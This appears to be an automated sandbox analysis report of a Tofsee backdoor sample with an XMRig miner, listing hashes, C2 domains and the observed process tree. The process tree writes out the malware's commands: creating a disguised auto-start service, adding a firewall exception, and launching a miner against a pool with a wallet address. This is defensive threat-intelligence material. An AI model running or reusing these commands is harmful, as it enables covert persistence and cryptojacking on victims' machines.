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Analysis

  • max time kernel
    143s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    10/10/2023, 06:57

General

  • Target

    file.exe

  • Size

    294KB

  • MD5

    44b65e6b1c5c97f08604d6386e073755

  • SHA1

    ef3a38c06da42adf5855c9ca04afc3a264189abb

  • SHA256

    6414aa1f08ec3168c6c2630d3ebd5d9a184c0520bfa3c8018d23e74ee088021c

  • SHA512

    bd397b6eafdecfa6e72bb990757650566512a4c7eb12d75479fa9ef7a481542be9ccb57f538f0ed4d2e4fe77444c3aa99043b0b78663d8c740f6736ec8d84e60

  • SSDEEP

    6144:U5ZKe+CEiMKqR3p5X0WVKwn01r7ufeQRM:UzB+CEfv3p5XtVKpCmQ

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kqdnvgjj\
      2⤵
        PID:2064
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ykspviom.exe" C:\Windows\SysWOW64\kqdnvgjj\
        2⤵
          PID:2636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kqdnvgjj binPath= "C:\Windows\SysWOW64\kqdnvgjj\ykspviom.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kqdnvgjj "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2932
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kqdnvgjj
          2⤵
          • Launches sc.exe
          PID:2460
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2724
      • C:\Windows\SysWOW64\kqdnvgjj\ykspviom.exe
        C:\Windows\SysWOW64\kqdnvgjj\ykspviom.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2568
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3052
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2752

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ykspviom.exe

        Filesize

        12.8MB

        MD5

        381e29839d410ce5e861c1cabc19c1dc

        SHA1

        c51ffb35a1502f50bc2cf6e806b43c01dbc412b6

        SHA256

        9b9cce4855dbce8a140a65fd30b202f1d862e1f5618392ccc6051f22651000b0

        SHA512

        c894768a8cca3cb79a6dce7ee0a0b53f73466841e08dd08750395673b8a4ec527fb1fc71c600b77ff843c0b9ee2f13262c2421f77e18d42c9b3883099aeb81e2

      • C:\Windows\SysWOW64\kqdnvgjj\ykspviom.exe

        Filesize

        12.8MB

        MD5

        381e29839d410ce5e861c1cabc19c1dc

        SHA1

        c51ffb35a1502f50bc2cf6e806b43c01dbc412b6

        SHA256

        9b9cce4855dbce8a140a65fd30b202f1d862e1f5618392ccc6051f22651000b0

        SHA512

        c894768a8cca3cb79a6dce7ee0a0b53f73466841e08dd08750395673b8a4ec527fb1fc71c600b77ff843c0b9ee2f13262c2421f77e18d42c9b3883099aeb81e2

      • memory/2024-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2024-4-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/2024-7-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/2024-8-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2024-1-0x00000000023D0000-0x00000000024D0000-memory.dmp

        Filesize

        1024KB

      • memory/2568-15-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/2568-10-0x0000000002340000-0x0000000002440000-memory.dmp

        Filesize

        1024KB

      • memory/2568-18-0x0000000000400000-0x0000000002287000-memory.dmp

        Filesize

        30.5MB

      • memory/2752-78-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-76-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-75-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-77-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-74-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-73-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-72-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-64-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/2752-63-0x0000000000260000-0x0000000000351000-memory.dmp

        Filesize

        964KB

      • memory/3052-38-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-48-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-36-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-35-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-37-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-31-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-39-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-40-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-42-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-41-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-43-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-44-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-45-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-46-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-47-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-34-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-49-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-50-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3052-51-0x0000000000270000-0x0000000000275000-memory.dmp

        Filesize

        20KB

      • memory/3052-54-0x0000000000270000-0x0000000000275000-memory.dmp

        Filesize

        20KB

      • memory/3052-55-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/3052-58-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/3052-59-0x0000000000320000-0x0000000000327000-memory.dmp

        Filesize

        28KB

      • memory/3052-28-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/3052-27-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/3052-24-0x0000000001970000-0x0000000001B7F000-memory.dmp

        Filesize

        2.1MB

      • memory/3052-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3052-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3052-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3052-14-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3052-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/3052-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB